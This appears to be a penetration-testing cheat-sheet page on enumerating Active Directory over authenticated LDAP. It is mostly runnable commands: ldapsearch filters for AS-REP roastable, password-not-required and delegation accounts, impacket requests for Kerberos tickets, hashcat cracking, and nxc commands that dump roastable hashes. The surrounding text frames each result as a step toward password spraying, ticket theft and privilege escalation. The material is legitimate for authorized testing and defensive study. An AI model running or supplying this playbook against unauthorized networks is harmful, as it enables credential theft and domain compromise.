Skip to content
HackIndex logo

HackIndex

LDAP Authenticated User Group Enumeration

6 min read Jul 14, 2026

With valid domain credentials — even a low-privilege user account — you can query nearly everything in Active Directory via LDAP. The goal is to map users, groups, service accounts, and delegations that translate into privilege escalation or lateral movement paths. Run this immediately after you obtain any set of valid domain credentials.

Authenticating with ldapsearch

Two authentication formats work depending on the directory type.

┌──(kali㉿kali)-[~]
└─$ # Active Directory — DOMAIN\user format
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$DOMAIN\\$USER" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=user)" sAMAccountName
 
┌──(kali㉿kali)-[~]
└─$ # Active Directory — UPN format
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=user)" sAMAccountName
 
┌──(kali㉿kali)-[~]
└─$ # OpenLDAP — DN format
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "cn=$USER,dc=corp,dc=local" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=*)"

Users — full attribute pull

Pull all user objects with the attributes that matter for privilege escalation planning. userAccountControl tells you the account flags — disabled, no password required, no pre-auth. memberOf shows group memberships. pwdLastSet of 0 means the password was never set or is expired.

┌──(kali㉿kali)-[~]
└─$ # All users with key attributes
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=user)" sAMAccountName userPrincipalName memberOf description userAccountControl pwdLastSet lastLogon servicePrincipalName
 
┌──(kali㉿kali)-[~]
└─$ # Just enabled accounts
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" sAMAccountName
 
┌──(kali㉿kali)-[~]
└─$ # Extract clean username list
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=user)" sAMAccountName | grep "^sAMAccountName:" | awk '{print $2}' | grep -v '\$$'

The grep -v '\$$' at the end strips machine accounts (which end in $) leaving only user accounts. Machine accounts are still useful for Pass-the-Hash and Kerberos attacks but keep them separate from your user list.

userAccountControl bit values

The userAccountControl attribute is a bitmask. These are the values that matter most during an engagement:

Value

Hex

Meaning

Attack relevance

2

0x0002

Account disabled

Skip for spraying

32

0x0020

Password not required

Try blank password immediately

65536

0x10000

Password never expires

Old password, worth spraying

4194304

0x400000

No pre-auth required

AS-REP Roastable

8192

0x2000

Domain controller

DCSync target

┌──(kali㉿kali)-[~]
└─$ # Accounts with password not required
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" sAMAccountName
 
┌──(kali㉿kali)-[~]
└─$ # Accounts with no pre-auth (AS-REP Roastable)
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" sAMAccountName
 
┌──(kali㉿kali)-[~]
└─$ # Accounts with password never expires
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))" sAMAccountName
 
┌──(kali㉿kali)-[~]
└─$ # Disabled accounts
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))" sAMAccountName

Service accounts and Kerberoasting

Any account with a Service Principal Name set can have its Kerberos TGS ticket requested by any authenticated user and cracked offline. Pull all SPNs, then request the tickets.

┌──(kali㉿kali)-[~]
└─$ # All accounts with SPNs set
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName
 
┌──(kali㉿kali)-[~]
└─$ # Request TGS tickets for all Kerberoastable accounts
┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request
┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile kerberoast.txt
 
┌──(kali㉿kali)-[~]
└─$ # Crack
┌──(kali㉿kali)-[~]
└─$ hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

Delegation — unconstrained and constrained

Delegation allows a service to authenticate to other services on behalf of a user. Unconstrained delegation means the service receives a copy of the user's TGT — if you compromise an account or machine with unconstrained delegation, any user who authenticates to it gives you their TGT. Constrained delegation restricts which services can be impersonated but can still be abused.

┌──(kali㉿kali)-[~]
└─$ # Unconstrained delegation — UAC bit 524288 (TRUSTED_FOR_DELEGATION)
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=524288))" sAMAccountName userAccountControl
 
┌──(kali㉿kali)-[~]
└─$ # Unconstrained delegation on computers
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dNSHostName
 
┌──(kali㉿kali)-[~]
└─$ # Constrained delegation — msDS-AllowedToDelegateTo set
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(msDS-AllowedToDelegateTo=*)" sAMAccountName msDS-AllowedToDelegateTo
 
┌──(kali㉿kali)-[~]
└─$ # Resource-based constrained delegation
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" sAMAccountName

Computers with unconstrained delegation are high-value targets — any domain admin who authenticates to that machine (e.g. via a printer bug or forced authentication) gives you a TGT you can use for privilege escalation. Domain controllers always have unconstrained delegation by default, so filter them out with (&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(userAccountControl:1.2.840.113556.1.4.803:=8192))). For exploitation see Unconstrained Delegation Abuse and Constrained Delegation Abuse.

Groups and privileged memberships

┌──(kali㉿kali)-[~]
└─$ # All groups
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=group)" cn member description
 
┌──(kali㉿kali)-[~]
└─$ # High-value group members
┌──(kali㉿kali)-[~]
└─$ for group in "Domain Admins" "Enterprise Admins" "Schema Admins" "Backup Operators" "Account Operators" "DNSAdmins" "Remote Desktop Users"; do
echo "=== $group ==="
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(cn=$group)" member | grep "^member:"
done
 
┌──(kali㉿kali)-[~]
└─$ # Groups current user belongs to
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(sAMAccountName=$USER)" memberOf

nxc — fast bulk enumeration

┌──(kali㉿kali)-[~]
└─$ # Users and groups in one pass
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --users --groups
 
┌──(kali㉿kali)-[~]
└─$ # Privileged account markers
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --admin-count
 
┌──(kali㉿kali)-[~]
└─$ # Password-not-required accounts
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --password-not-required
 
┌──(kali㉿kali)-[~]
└─$ # Delegation targets
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --trusted-for-delegation
 
┌──(kali㉿kali)-[~]
└─$ # AS-REP Roastable — dumps hashes directly
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --asreproast asrep.txt
 
┌──(kali㉿kali)-[~]
└─$ # Kerberoastable — dumps TGS hashes directly
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --kerberoasting kerb.txt

After pulling users and identifying attack paths: AS-REP Roastable accounts go to AS-REP Roasting, Kerberoastable SPNs go to Kerberoasting or AD Kerberoasting, unconstrained delegation targets go to Unconstrained Delegation Abuse, constrained delegation targets go to Constrained Delegation Abuse, ACL misconfigurations on high-value objects go to ACL Abuse Privilege Escalation, and credentials found in descriptions go directly to AD Password Spraying or lateral movement.

References